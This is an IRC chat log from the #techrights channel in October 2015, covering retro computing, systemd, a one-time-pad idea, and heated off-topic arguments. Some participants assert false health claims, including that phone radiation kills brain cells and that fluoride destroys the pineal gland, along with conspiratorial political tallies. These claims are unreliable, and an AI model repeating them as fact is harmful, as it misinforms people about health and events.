| schestowitz | __martin__"As for Microsoft’s involvement, the paper appears on the company's research site, although Savage said she was told not to talk about the company’s involvement. The Microsoft researcher, Andres Monroy-Hernandez, did not respond to my request for comment on why Microsoft took part in the work. The paper will be presented at the 2016 ACM conference on Computer-Supported Cooperative Work and SociaSep 22 21:28 | Oct 04 22:33 |
| schestowitz | __martin__l Computing, according to Microsoft’s site." | Oct 04 22:33 |
| schestowitz | " | Oct 04 22:33 |
| schestowitz | Marketing first | Oct 04 22:33 |
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| gde33 | this was great http://www.historytoday.com/peter-frankopan/world-we-have-lost | Oct 04 22:37 |
| -TechrightsBot-tr/#techrights-www.historytoday.com | The World We Have Lost | History Today [ http://ur1.ca/nwyas ] | Oct 04 22:37 | |
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| MinceR | http://www.libri.hu/konyv/magyar_balint.magyar-polip.html | Oct 04 22:55 |
| -TechrightsBot-tr/#techrights-www.libri.hu | Knyv: Magyar polip (Magyar Blint (Szerk.)) [ http://ur1.ca/nwyek ] | Oct 04 22:55 | |
| MinceR | this book mentions the putin model, though it focuses on the orban regime | Oct 04 22:55 |
| schestowitz | Rump... https://i.chzbgr.com/full/8567675648/hCF036023/ | Oct 04 22:58 |
| schestowitz | did he really make all these faces and if so when? (context) | Oct 04 22:58 |
| schestowitz | https://twitter.com/TedBehr/status/650792315712221184 | Oct 04 23:00 |
| -TechrightsBot-tr/#techrights-@TedBehr: @schestowitz Interesting. | Oct 04 23:00 | |
| cubexyz | what I find interesting is how people understand less and less about their computers | Oct 04 23:03 |
| cubexyz | when I talk to older Unix folks, they know a lot about fixing their old PDP-11s | Oct 04 23:03 |
| schestowitz | cubexyz: re http://www.maxhost.org/other/ancedote-windows-bsod.txt | Oct 04 23:03 |
| schestowitz | should be anecdote | Oct 04 23:03 |
| cubexyz | right :) | Oct 04 23:04 |
| cubexyz | those are just quick text files I whip up | Oct 04 23:05 |
| cubexyz | anything I find interesting enough to keep | Oct 04 23:05 |
| cubexyz | ok... as I was saying... old Unix peeps know more about their old PDP-11s than we know about our modern PCs | Oct 04 23:06 |
| cubexyz | part of that is that PDP-11s are a lot simpler and easier to understand | Oct 04 23:06 |
| cubexyz | but the general trend is notable | Oct 04 23:07 |
| cubexyz | PDP-11s had no BIOS as we understand the term | Oct 04 23:07 |
| schestowitz | "MinceRhttps://web.archive.org/web/20141129114502/http://boycottsystemd.org/lennart1.png" | Oct 04 23:07 |
| MinceR | pdp-11s are also probably a lot less secret | Oct 04 23:07 |
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| schestowitz | "MinceRhttp://img.linuxfr.org/img/68747470733a2f2f6861636b2d6c696272652e6f72672f66696c65732f6c697672655f7072c3a966c3a972c3a95f6c656e6e6172742d35303070782e6a7067/livre_pr%C3%A9f%C3%A9r%C3%A9_lennart-500px.jpg" | Oct 04 23:07 |
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| schestowitz | Both links broken for me | Oct 04 23:07 |
| MinceR | yeah, they're abusing robots.txt now | Oct 04 23:08 |
| MinceR | or rather, the domain is parked | Oct 04 23:08 |
| MinceR | and they tend to do shit like this when parked | Oct 04 23:08 |
| gde33 | cubexyz: in the commodore 64 days people would know all the opcodes (even the undocumented ones) and many would know a large part of the rom (opperating system) | Oct 04 23:08 |
| cubexyz | gde33, that's true | Oct 04 23:08 |
| cubexyz | the roms were small enough and relatively easy to understand | Oct 04 23:09 |
| gde33 | it goes back further, today ##programming knows next to nothing about ##electronics | Oct 04 23:09 |
| schestowitz | cubexyz: "that reminds me, do we really need a #boycottnovell still?" | Oct 04 23:09 |
| schestowitz | won't hurt | Oct 04 23:09 |
| gde33 | the abstractions have less to do with how things work under the hood but cate to the way humans view stuff | Oct 04 23:10 |
| gde33 | cater | Oct 04 23:10 |
| cubexyz | ok, you might remember I talked about BIOS startup sequence which was send out the serial port on bootup | Oct 04 23:10 |
| cubexyz | PDP-11s had the SLU or Serial Line Unit that did the same thing | Oct 04 23:11 |
| MinceR | schestowitz: i think it was this: https://i.warosu.org/data/g/img/0435/95/1408121072612.png | Oct 04 23:11 |
| -TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://i.warosu.org/data/g/img/0435/95/1408121072612.png ) | Oct 04 23:11 | |
| gde33 | haha, I guess it's like vegitables are more tasty when combined with less tasty foods https://soylentnews.org/article.pl?sid=15/10/02/1348247&from=rss | Oct 04 23:11 |
| -TechrightsBot-tr/#techrights-SSL connect error ( status 0 @ https://soylentnews.org/article.pl?sid=15/10/02/1348247&from=rss ) | Oct 04 23:11 | |
| cubexyz | I felt I had a much better understand of the c64 than a modern PC, even though I've studied the modern PC a lot longer | Oct 04 23:12 |
| cubexyz | s/understand/understanding/ | Oct 04 23:12 |
| cubexyz | but it had terrible IO :) | Oct 04 23:12 |
| TweetTuxMachines | @tuxmachines Linux 4.3-rc4 http://t.co/foV3V2mkEV | Oct 04 23:13 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 04 23:13 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux 4.3-rc4 | Tux Machines | Oct 04 23:13 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nwyid | Oct 04 23:13 |
| schestowitz | MinceR: ah, I know this one | Oct 04 23:13 |
| TweetTuxMachines | @tuxmachines How Debian managed the systemd transition | Oct 04 23:13 |
| TweetTuxMachines | https://t.co/0EJVOaJDLq (lwn.net) | Oct 04 23:13 |
| -TechrightsBot-tr/#techrights-lwn.net | How Debian managed the systemd transition [LWN.net] | Oct 04 23:13 | |
| TweetTuxMachines | ........................................ http://ur1.ca/nwyie | Oct 04 23:13 |
| cubexyz | the old c64 BASIC ROM was what... 8K in size? | Oct 04 23:13 |
| schestowitz | MinceR: the new Red Hat uniform | Oct 04 23:13 |
| MinceR | :> | Oct 04 23:13 |
| cubexyz | bah, systemd | Oct 04 23:14 |
| MinceR | 001128 < gde33> haha, I guess it's like vegitables are more tasty when combined with less tasty foods https://soylentnews.org/article.pl?sid=15/10/02/1348247&from=rss | Oct 04 23:15 |
| MinceR | or they could try preparing them properly | Oct 04 23:15 |
| MinceR | use the right spices also | Oct 04 23:15 |
| schestowitz | "XRevan86: how is the current russia different from the ussr?" | Oct 04 23:15 |
| schestowitz | Microsoft vs New Microsoft | Oct 04 23:15 |
| gde33 | there is nothing wrong with how they taste until you try combine them with overly processed foods | Oct 04 23:15 |
| schestowitz | The latter keeps saying it has changed | Oct 04 23:16 |
| schestowitz | while doing exactly the same things as before | Oct 04 23:16 |
| cubexyz | the 1980s computers should be studied | Oct 04 23:16 |
| schestowitz | where? In landfills? | Oct 04 23:16 |
| schestowitz | Or in their original habitats? | Oct 04 23:16 |
| XRevan86 | "Old Russia" had no oligarhs | Oct 04 23:16 |
| cubexyz | that's when the whole windows stuff started | Oct 04 23:16 |
| gde33 | yeah, good point | Oct 04 23:17 |
| gde33 | calculators at the time were madly sophisticated | Oct 04 23:17 |
| gde33 | where is the solar powered smart phone? | Oct 04 23:17 |
| schestowitz | now there are PDAs | Oct 04 23:17 |
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| gde33 | microwaving people is a dumb idea, this was known from the start | Oct 04 23:21 |
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| gde33 | it is also slow compared to light | Oct 04 23:21 |
| MinceR | the microwave portion of technophobia? | Oct 04 23:21 |
| r_schestowitz | [23:17] <schestowitz> gde33: people now want a 'phone' they can watch pr0n on in the dark | Oct 04 23:21 |
| r_schestowitz | [23:18] <schestowitz> they might also explain why phones are getting bigger again | Oct 04 23:22 |
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| r_schestowitz | router just went funny, can someone paste from scroll/buffer | Oct 04 23:22 |
| MinceR | people will make up ways in which light is evil | Oct 04 23:22 |
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| r_schestowitz | <gde33> microwaving people is a dumb idea, this was known from the start | Oct 04 23:22 |
| gde33 | the microwaves are safe propaganda is just like the smoking propaganda | Oct 04 23:22 |
| r_schestowitz | I avoided phones originally for this reasons | Oct 04 23:22 |
| gde33 | or like the DDT propaganda | Oct 04 23:22 |
| r_schestowitz | later because of spying | Oct 04 23:22 |
| cubexyz | I think xchat has a file for that... let me check | Oct 04 23:22 |
| r_schestowitz | just the last few lines | Oct 04 23:23 |
| MinceR | r_schestowitz: what's the last line you saw? | Oct 04 23:23 |
| r_schestowitz | [23:17] <schestowitz> now there are PDAs | Oct 04 23:23 |
| MinceR | gde33: how much power does a modern cell phone radio output? | Oct 04 23:23 |
| cubexyz | http://www.maxhost.org/other/scrollback-now.txt | Oct 04 23:23 |
| r_schestowitz | then the connection dropped in the whole house afaict | Oct 04 23:23 |
| cubexyz | how's that? | Oct 04 23:23 |
| r_schestowitz | fast | Oct 04 23:24 |
| MinceR | r_schestowitz: is pastebin.ca ok? | Oct 04 23:24 |
| MinceR | r_schestowitz: also, is one month expiry ok? | Oct 04 23:25 |
| r_schestowitz | cubexyz: will make up for it in a fortnight when I grab logs from Canada | Oct 04 23:25 |
| cubexyz | http://www.maxhost.org/other/scroll-more.txt | Oct 04 23:25 |
| cubexyz | there, that goes a bit farther back | Oct 04 23:25 |
| r_schestowitz | MinceR: just lost a few lines, I think, no big deal | Oct 04 23:25 |
| gde33 | MinceR: compared to what? background radiation? oh - its fucking HUGE | Oct 04 23:25 |
| MinceR | gde33: compared to something that changes the temperature of a spoonful of water appreciably | Oct 04 23:25 |
| gde33 | temprature is one of the industry talking points | Oct 04 23:26 |
| MinceR | no, it's physics | Oct 04 23:26 |
| gde33 | so is brain cancer | Oct 04 23:26 |
| gde33 | I'm smoking right now btw | Oct 04 23:26 |
| cubexyz | I don't use cell phones | Oct 04 23:26 |
| MinceR | i've also heard that microwaving "erases the water's DNA" :> | Oct 04 23:26 |
| gde33 | a basic in medical science is to listen to the patients and document the sympthoms | Oct 04 23:27 |
| cubexyz | are LIFI devices available? | Oct 04 23:27 |
| gde33 | if that data is to be discarded you are indeed in physics not in medical science | Oct 04 23:27 |
| MinceR | so you also need to psychologically evaluate the patient | Oct 04 23:28 |
| r_schestowitz | "XFaCE r_schestowitz: https://twitter.com/wikileaks/status/647410648079577090" | Oct 04 23:28 |
| -TechrightsBot-tr/#techrights-@wikileaks: Online 'gender wars' instrumentalized by UN for mass online #censorship https://t.co/jJlCWge3VK pushed by Sweden: http://t.co/AhyiL6fRab | Oct 04 23:28 | |
| -TechrightsBot-tr/#techrights--> www.washingtonpost.com | The United Nations has a radical, dangerous vision for the future of the Web - The Washington Post | Oct 04 23:28 | |
| MinceR | the nocebo effect would hurt them noticeably | Oct 04 23:28 |
| -TechrightsBot-tr/#techrights--> www.stockholminternetforum.se | First #SIF15 session revealed – Gender based violence online | Stockholm Internet Forum | Oct 04 23:28 | |
| r_schestowitz | "XFaCE r_schestowitz: https://www.washingtonpost.com/news/the-intersect/wp/2015/09/24/the-united-nations-has-a-radical-dangerous-vision-for-the-future-of-the-web/ " | Oct 04 23:28 |
| r_schestowitz | XFaCE: thanks, seen that | Oct 04 23:28 |
| gde33 | if a physicist says you are imagining stuff he is practishing pseudoscience | Oct 04 23:28 |
| r_schestowitz | also heard of the latter | Oct 04 23:28 |
| r_schestowitz | they're tired of using religion and "feel offended" I guess | Oct 04 23:29 |
| r_schestowitz | they now appear to >50% of the population | Oct 04 23:29 |
| MinceR | what is a person practicing if they make up reasons to be afraid of anything new? | Oct 04 23:29 |
| cubexyz | MinceR, I'm windows-10-aphobic! | Oct 04 23:29 |
| gde33 | no doctor approaches his patient by starting out with the assumption she is imagining stuff | Oct 04 23:29 |
| cubexyz | it's real | Oct 04 23:29 |
| msb_ | The injury from microwaves is not from heating, but from the difference in microwave permeability between chromosomes and cytoplasm (or nucleoplasm). The result is like iron filings lining up in a magnetic field. This causes breaks or other changes in the chromosomes of dividing cells. At much lower field strength than causes heating. | Oct 04 23:29 |
| MinceR | cubexyz: but you know what vista10 is like | Oct 04 23:29 |
| gde33 | MinceR: that could be a fair conclusion | Oct 04 23:30 |
| gde33 | MinceR: not a point to start your investigation from | Oct 04 23:30 |
| gde33 | a psychologist is trained to conclude if people are afraid of new things or not | Oct 04 23:31 |
| gde33 | well outside the realm of physics ;) | Oct 04 23:31 |
| MinceR | gde33: are you trained to conclude of microwaves emitted by mobile devices harm people or not? | Oct 04 23:31 |
| MinceR | s/of/if/ | Oct 04 23:31 |
| cubexyz | I'd say it's prefectly normal not to automatically accept new things until you study them a bit | Oct 04 23:32 |
| gde33 | MinceR: I follow the research from time to time | Oct 04 23:32 |
| gde33 | it is one of the differences between the US and Europe. In the US things are safe until proven unsafe. | Oct 04 23:32 |
| cubexyz | would you eat a mushroom you didn't know about? Of course not | Oct 04 23:33 |
| gde33 | Here they have to fabricate a report of safety first | Oct 04 23:33 |
| gde33 | haha | Oct 04 23:33 |
| gde33 | would you take a vacine if the ingredients are not disclosed? | Oct 04 23:33 |
| cubexyz | probably not | Oct 04 23:33 |
| gde33 | is it up to a dentist to determine the effect of fluoride? | Oct 04 23:33 |
| MinceR | cubexyz: would you eat a mushroom dish served at a reastaurant if you didn't know that species of mushroom? | Oct 04 23:33 |
| gde33 | do dentists know how it kills neurons? | Oct 04 23:34 |
| cubexyz | MinceR, on pizza I have | Oct 04 23:34 |
| MinceR | i don't think fluoridated toothpaste is evaluated to allow to the market by dentists | Oct 04 23:34 |
| r_schestowitz | " | Oct 04 23:34 |
| r_schestowitz | kyleriggsomeone told me you are into the 9/11 stuffSep 26 04:24 | Oct 04 23:34 |
| r_schestowitz | kyleriggon google groups | Oct 04 23:34 |
| r_schestowitz | " | Oct 04 23:34 |
| cubexyz | on the forest trail, no :) | Oct 04 23:34 |
| r_schestowitz | Oh dear... | Oct 04 23:34 |
| MinceR | s/reast/rest/ | Oct 04 23:34 |
| gde33 | it is perfectly illegal here to either fluoridate water or to transport food prepaired with it | Oct 04 23:34 |
| MinceR | lol | Oct 04 23:34 |
| msb_ | Received field strength varies as the inverse square of the distance from the antenna. So if you put the antenna at the end of a 10-foot cable, or on a repeater at the end of a 10-foot ethernet cable, you'll be fine. | Oct 04 23:35 |
| MinceR | afaik water is not fluoridated in europe | Oct 04 23:35 |
| r_schestowitz | water here is clean, with little need for treatment | Oct 04 23:35 |
| r_schestowitz | here as in manchester, not london | Oct 04 23:35 |
| MinceR | though there are places (at least in north america) where the water contains fluoride naturally | Oct 04 23:35 |
| r_schestowitz | water has has traces of arsenic in it, IIRC, in some places | Oct 04 23:36 |
| r_schestowitz | and chlorine | Oct 04 23:36 |
| cubexyz | I assume flouridation did help stop cavities | Oct 04 23:36 |
| gde33 | the phone radiation kills a ton of brain cells but we can function just fine - just like if we get drunk every day | Oct 04 23:36 |
| cubexyz | at least that's what the experts said | Oct 04 23:36 |
| gde33 | until you have some kind of condition of course | Oct 04 23:36 |
| r_schestowitz | the obsession with flouride shows that some people stick to just one set of theories, like the anti-vaxxers | Oct 04 23:36 |
| r_schestowitz | same regarding toothpastes | Oct 04 23:36 |
| gde33 | arsenic and chorine are aweful | Oct 04 23:37 |
| MinceR | i think water fluoridation with the purpose of having it contact teeth is about as wasteful a method as they could possibly find | Oct 04 23:37 |
| r_schestowitz | I thought it's the opposite | Oct 04 23:37 |
| gde33 | I dont see an excuse there to just spike the drink with an artifical stupefier | Oct 04 23:37 |
| MinceR | you wash stuff with the stuff, eat it, drink it, water the plants with it | Oct 04 23:37 |
| MinceR | when all you needed is to put some in your toothpaste | Oct 04 23:37 |
| r_schestowitz | that the reason water had flouride in it is toothpastes washed down the sink, water later recycled | Oct 04 23:37 |
| MinceR | which regularly contacts the teeth as its purpose | Oct 04 23:37 |
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| cubexyz | probably your calcium intake would play a big role | Oct 04 23:38 |
| msb_ | Fluoride (note spelling) calcifies and destr0ys the pineal gland, which otherwise would produce melatonin and DMT. | Oct 04 23:38 |
| cubexyz | how would you even know if you're getting the right amount? | Oct 04 23:38 |
| gde33 | it is a waste product that would cost a ton of cash to process if they couldnt dump it in the drink | Oct 04 23:38 |
| gde33 | however you want to see it, it is a type of forced medication without required approval from the patient. | Oct 04 23:39 |
| MinceR | indeed | Oct 04 23:39 |
| cubexyz | evidently fluoride helps remineralization | Oct 04 23:40 |
| gde33 | people who are more sensitive to electricity usually have some kind of condition | Oct 04 23:40 |
| cubexyz | you don't want to lose your teeth | Oct 04 23:40 |
| gde33 | electicity + phones | Oct 04 23:40 |
| MinceR | keep them in a pouch! | Oct 04 23:40 |
| gde33 | the classic example is lead tubing | Oct 04 23:40 |
| r_schestowitz | https://twitter.com/FrancisJeffrey7/status/650802363091947520 | Oct 04 23:40 |
| -TechrightsBot-tr/#techrights-@FrancisJeffrey7: @petehague @schestowitz @wikileaks "Destroy...Militarism ==> Enlist ?" ? ? ? | Oct 04 23:40 | |
| gde33 | people drinking from that are loaded up with metals | Oct 04 23:40 |
| MinceR | phones should not expose any electrically live parts | Oct 04 23:40 |
| MinceR | to the user | Oct 04 23:40 |
| gde33 | that obviously react to microwaves | Oct 04 23:40 |
| MinceR | afaik only the retards working at "engineering" at crApple do that | Oct 04 23:41 |
| cubexyz | I hear that toothpaste before the 1970s didn't have fluoride? | Oct 04 23:42 |
| gde33 | reduced health from lead + great reception + global gsm reception = you are going to have a bad time | Oct 04 23:42 |
| MinceR | dunno, i wasn't born back then, afaik | Oct 04 23:42 |
| MinceR | lead? | Oct 04 23:42 |
| MinceR | oh, lead tubing | Oct 04 23:42 |
| r_schestowitz | looks like "kylerigg" was clearly a troll | Oct 04 23:43 |
| MinceR | well, that's bad regardless of cellphone technology | Oct 04 23:43 |
| r_schestowitz | we haven't had those here for quite a while | Oct 04 23:43 |
| gde33 | MinceR: and/or say old fillings? | Oct 04 23:43 |
| r_schestowitz | but that person came from COLA/USENET, so no surprise | Oct 04 23:43 |
| MinceR | we do, but we don't ban them :> | Oct 04 23:43 |
| r_schestowitz | ignore tham till they get bored and leave | Oct 04 23:43 |
| MinceR | gde33: that's unfortunate. now we have polymer fillings | Oct 04 23:43 |
| cubexyz | I don't ban anyone because I can't remember my password | Oct 04 23:43 |
| r_schestowitz | free speech != right to an audience | Oct 04 23:43 |
| cubexyz | too many passwords | Oct 04 23:43 |
| MinceR | exactly | Oct 04 23:43 |
| gde33 | MinceR: if the metals are not the same you get a kind of mouth battery -.- | Oct 04 23:44 |
| MinceR | :> | Oct 04 23:44 |
| MinceR | MRI could be fun too, i guess | Oct 04 23:44 |
| gde33 | leaching mercury etc | Oct 04 23:44 |
| r_schestowitz | "kylerigg: we're not obligated to listen to what you have to say. that is not censorship." | Oct 04 23:44 |
| r_schestowitz | "cubexyz: Leave kylerigg alone!" | Oct 04 23:44 |
| r_schestowitz | msb_ said that | Oct 04 23:45 |
| r_schestowitz | oh dear... | Oct 04 23:45 |
| cubexyz | in the olden days a kick would have bee immiment | Oct 04 23:45 |
| cubexyz | s/bee/been/ | Oct 04 23:45 |
| gde33 | I think we need some type of new hardware design language to bring coding back to the roots | Oct 04 23:47 |
| r_schestowitz | came from 108-162-134-2.cable.teksavvy.com | Oct 04 23:47 |
| MinceR | what would it be like? old ThinkPad? :> | Oct 04 23:47 |
| gde33 | you can just combine a bunch of components and call it unicornFooBar | Oct 04 23:48 |
| gde33 | that should be familiar enough | Oct 04 23:48 |
| cubexyz | people still build z80 computers | Oct 04 23:48 |
| r_schestowitz | Canadian | Oct 04 23:48 |
| cubexyz | it's just a bit too primitive for your main computer | Oct 04 23:48 |
| gde33 | then make a nice runtime for virtual hardware :) | Oct 04 23:48 |
| gde33 | if it gets popular you bake it into a product | Oct 04 23:49 |
| gde33 | like an usb stick with an irc client on it | Oct 04 23:49 |
| cubexyz | there's FPGA boards | Oct 04 23:49 |
| gde33 | if you have enough of those the mobo design could allow for new freedoms :) | Oct 04 23:49 |
| cubexyz | even FPGA PDP-11 if you want | Oct 04 23:49 |
| gde33 | could even disable part of the 1.0 hardware and simulate the 1.2 | Oct 04 23:50 |
| MinceR | but no fully free FPGA yet, afaik | Oct 04 23:51 |
| gde33 | I hear ROM might come back based on cd burning tech | Oct 04 23:51 |
| gde33 | would be nice to have ROM again | Oct 04 23:51 |
| cubexyz | the BIOS should be able to lock out writes | Oct 04 23:52 |
| gde33 | everything in software is teribly insecure | Oct 04 23:52 |
| cubexyz | at least in the older motherboards, say 1997 to 2001 or so | Oct 04 23:52 |
| cubexyz | they really should have used a jumper, but data centres don't like jumpers | Oct 04 23:53 |
| gde33 | heh | Oct 04 23:53 |
| MinceR | they should at least have a DIP switch | Oct 04 23:54 |
| gde33 | imagine the performance when you mass produce virtual hardware as physical thingies | Oct 04 23:54 |
| cubexyz | they used to have dip switches! | Oct 04 23:54 |
| MinceR | and make sure it's unnecessary to flash the most basic stuff most of the time | Oct 04 23:55 |
| cubexyz | I can definitely remember those | Oct 04 23:55 |
| cubexyz | bus speed had a jumper | Oct 04 23:55 |
| gde33 | some old paper described a damaged crystal with a laser and some photocells able to produce a random string many TB long | Oct 04 23:56 |
| gde33 | bake those in the hardware, keep a sub set on the company server | Oct 04 23:56 |
| gde33 | an undisclosed sub set ofc ;) | Oct 04 23:56 |
| gde33 | then can have unhackable communication | Oct 04 23:56 |
| gde33 | a bit like every session starts with a new password | Oct 04 23:57 |
| gde33 | ehh I mean every communication | Oct 04 23:57 |
| gde33 | every byte its own unique encryption | Oct 04 23:57 |
| MinceR | can you damage two crystals identically so they'll produce the same string? | Oct 04 23:59 |
| gde33 | no | Oct 05 00:00 |
| MinceR | so how will both sides know the same key? | Oct 05 00:00 |
| gde33 | you copy a sub set onto a drive | Oct 05 00:00 |
| MinceR | oh, i see | Oct 05 00:00 |
| gde33 | say 10 GB of random locations | Oct 05 00:00 |
| MinceR | well, they do something like that | Oct 05 00:00 |
| MinceR | https://en.wikipedia.org/wiki/One-time_pad#Uses | Oct 05 00:01 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | One-time pad - Wikipedia, the free encyclopedia [ http://ur1.ca/nwyrd ] | Oct 05 00:01 | |
| gde33 | could be more fun if reading 10 GB would take a few days | Oct 05 00:01 |
| gde33 | then copying the whole 10 TB would take a lot of time | Oct 05 00:01 |
| gde33 | creating known crystals would be doable but deploying them in some kind of hack wouldnt work | Oct 05 00:03 |
| gde33 | I could steal your key crystal and copy it in 20 000 days then put it back without you noticing it | Oct 05 00:03 |
| gde33 | haha | Oct 05 00:03 |
| MinceR | :> | Oct 05 00:05 |
| gde33 | the man in the middle wouldnt be able to decode anything | Oct 05 00:05 |
| MinceR | OTOH, if someone sneakily replaces the crystal in both endpoints to non-matching replacements they have copies of, they could do an MITM attack | Oct 05 00:07 |
| gde33 | if the program is on a chip that talks directly to the monitor you wouldnt even be able to hack it if you control the machine | Oct 05 00:07 |
| MinceR | [Alice] key0 <-> key0 [Bob] ===> [Alice] key1 <-> key1 [attacker] key2 <-> key2 [Bob] | Oct 05 00:07 |
| gde33 | I'm sure the smart hacker would be able to figure out something - but it beats passwords | Oct 05 00:07 |
| r_schestowitz | finally caught up with 2 week's absence from irc... | Oct 05 00:08 |
| MinceR | :) | Oct 05 00:08 |
| MinceR | i never catch up with my absence | Oct 05 00:08 |
| r_schestowitz | posted some funny MinceR things to social media | Oct 05 00:08 |
| gde33 | I have 10-20 k news feed subscriptions, I only try read the latest 1000 | Oct 05 00:08 |
| r_schestowitz | MinceR: depends if it's emails you get, comments you receive, channel or just some random stuff online | Oct 05 00:08 |
| r_schestowitz | rss not the highest priority for me, except for some sites | Oct 05 00:09 |
| gde33 | I'm always days behind | Oct 05 00:09 |
| r_schestowitz | not opensource.redhat | Oct 05 00:09 |
| *MinceR saw some of them | Oct 05 00:09 | |
| r_schestowitz | or ostatis.omalim | Oct 05 00:09 |
| r_schestowitz | or miguel de icaza's blog | Oct 05 00:09 |
| r_schestowitz | I _like_ softpedia | Oct 05 00:10 |
| cubexyz | http://www.maxhost.org/other/meanwhile-at-volkswagen.jpg | Oct 05 00:10 |
| cubexyz | :) | Oct 05 00:10 |
| cubexyz | I like the green checkmark | Oct 05 00:10 |
| cubexyz | http://www.maxhost.org/other/meanwhile-at-volkswagen-part-2.gif | Oct 05 00:19 |
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| TweetTuxMachines | @tuxmachines Netrunner Rolling 2015.09 Finally Migrates to | Oct 05 00:50 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Netrunner Rolling 2015.09 Finally Migrates to KDE Plasma 5, Looks Sleek - Gallery - Softpedia | Oct 05 00:50 | |
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| MinceR | http://blog.dilbert.com/post/130481922096/the-american-gun-problem-and-how-a-master-wizard#_=_ | Oct 05 01:09 |
| cubexyz | what's with the underscores and equal sign at the end of the URL? | Oct 05 01:13 |
| MinceR | some tumblr magic | Oct 05 01:16 |
| MinceR | afaict it doesn't do anything | Oct 05 01:17 |
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| msb_ | wiki: 11,208 gun murders in 2013. Deaths from old age per year -- population / 70 = 4,500,000 Probability of getting killed with a gun = 1 in 400. | Oct 05 01:51 |
| msb_ | Murders committed by US govt in last 14 years = 2,000,000 | Oct 05 01:52 |
| *MinceR yawns | Oct 05 01:52 | |
| msb_ | Possibility of US govt committing a large number of murders in the US = unknown, but why should the murderous psychopaths who run the US govt be less likely to kill Americans than Iraqis or Afghanis? | Oct 05 01:53 |
| msb_ | MinceR should get some sleep if his brain isn't working. | Oct 05 01:54 |
| MinceR | and msb_ gets right to the personal attacks | Oct 05 01:54 |
| TweetTuxMachines | @tuxmachines PeaZip 5.8.0 Open Source Archive Manager Has | Oct 05 01:54 |
| TweetTuxMachines | UTF-8 Support, Based on 7z 15.07 | Oct 05 01:54 |
| TweetTuxMachines | http://t.co/bhEEiAHwrp (linux.softpedia.com) | Oct 05 01:54 |
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| MinceR | scraping the bottom of the barrel | Oct 05 01:54 |
| TweetTuxMachines | @tuxmachines Confirmation Of Substance Designer Being Ported | Oct 05 01:54 |
| TweetTuxMachines | To Linux http://t.co/PZ3NLheihD | Oct 05 01:55 |
| TweetTuxMachines | (www.phoronix.com) | Oct 05 01:55 |
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| *MinceR wonders if the russian government is getting their money's worth | Oct 05 01:55 | |
| TweetTuxMachines | @tuxmachines Huawei Watch Review: Best Android Wear | Oct 05 01:55 |
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| msb_ | "MinceR yawns" is a personal attack. So is "MinceR wonders if the russian government is getting their money's worth" | Oct 05 01:55 |
| *MinceR 's biological processes are personal attacks | Oct 05 01:56 | |
| MinceR | everybody and everything is out to get msb_, it seems | Oct 05 01:56 |
| MinceR | even the arrow of time is out to get msb_ | Oct 05 01:56 |
| MinceR | http://www.cracked.com/blog/why-comparing-donald-trump-to-hitler-makes-perfect-sense/ | Oct 05 01:59 |
| -TechrightsBot-tr/#techrights-www.cracked.com | 5 Ways Donald Trump Perfectly Mirrors Hitler's Rise To Power | Cracked.com [ http://ur1.ca/nwzht ] | Oct 05 01:59 | |
| msb_ | The US govt has committed about 180 times as many murders in its 21st century military rampage as the number of people killed by guns in the US every year. | Oct 05 01:59 |
| MinceR | and now, a word from msb_'s sponsors... | Oct 05 02:01 |
| msb_ | Unless and until the US govt gets a sane leader, like Bernie Sanders (not H Clinton, who joyfully murdered Libya), Americans would do well to have guns ready to defend themselves against their murderous psychopath government. That said, taking guns away from people with a proved history of violence or actual threats of violence would be a good idea. | Oct 05 02:03 |
| *TweetTuxMachines @mcjsbusiness favourited 'Linux Kernel 4.1.10 LTS Is Now Available for...' | Oct 05 02:04 | |
| *TweetTuxMachines @mcjsbusiness retweeted @tuxmachines: 'Linux Kernel 4.1.10 LTS Is Now Available for...' | Oct 05 02:04 | |
| msb_ | RT just did a story about the Syrian Observatory For Human Rights, the source for many reports that Russia is bombing civilians in Syria. It turns out to be one guy in a house in Coventry England who hates Assad. | Oct 05 02:14 |
| msb_ | He wouldn't talk on camera because he says people are trying to kill him. | Oct 05 02:15 |
| msb_ | RT also showed about 5 pictures of dead people supposedly caused by Russian bombing in Syria, that were actually from Iraq, or last year, etc. | Oct 05 02:18 |
| MinceR | https://en.wikipedia.org/wiki/Human_rights_in_Russia | Oct 05 02:22 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Human rights in Russia - Wikipedia, the free encyclopedia [ http://ur1.ca/nwzlv ] | Oct 05 02:22 | |
| msb_ | This article, by Robert Parry, a long-time and highly respected US journalist explains why the US and Israel don't want to get rid of Al Qaeda (Al Nusrah) or ISIL in Syria. For one thing, it would make it more difficult for Israel to attack the Palestinians again. http://www.commondreams.org/views/2015/10/02/should-us-ally-al-qaeda-syria | Oct 05 02:26 |
| -TechrightsBot-tr/#techrights-www.commondreams.org | Should US Ally with Al Qaeda in Syria? | Common Dreams | Breaking News & Views for the Progressive Community [ http://ur1.ca/nwzmh ] | Oct 05 02:26 | |
| msb_ | The historical origins of the US/Israeli attacks on Syria and Assad, from the 1990s, also from Robert Parry: https://consortiumnews.com/2013/03/20/the-mysterious-why-of-the-iraq-war/ | Oct 05 02:38 |
| -TechrightsBot-tr/#techrights-consortiumnews.com | The Mysterious Why of the Iraq War | Consortiumnews [ http://ur1.ca/nwzob ] | Oct 05 02:38 | |
| MinceR | http://img.izismile.com/img/img8/20151001/1000/daily_gifdump_921_09.gif | Oct 05 02:52 |
| TweetTuxMachines | @tuxmachines Kubuntu 15.10 (Wily Werewolf) Now Has Latest | Oct 05 02:58 |
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| msb_ | http://www.ifamericansknew.org/us_ints/nc-pilger.html Written by the award-winning British jounalist John Pilger (https://en.wikipedia.org/wiki/John_Pilger) this article covers the Neocon/Likud (ultra-fascist) organization PNAC and its position paper that says to carry out its attacks on Middle East nations, Americans will require for motivation "a new Pearl Harbor". Guess what that turned out to be! | Oct 05 03:10 |
| -TechrightsBot-tr/#techrights-www.ifamericansknew.org | “A New Pearl Harbor” [ http://ur1.ca/nwztq ] | Oct 05 03:10 | |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | John Pilger - Wikipedia, the free encyclopedia [ http://ur1.ca/nwztr ] | Oct 05 03:10 | |
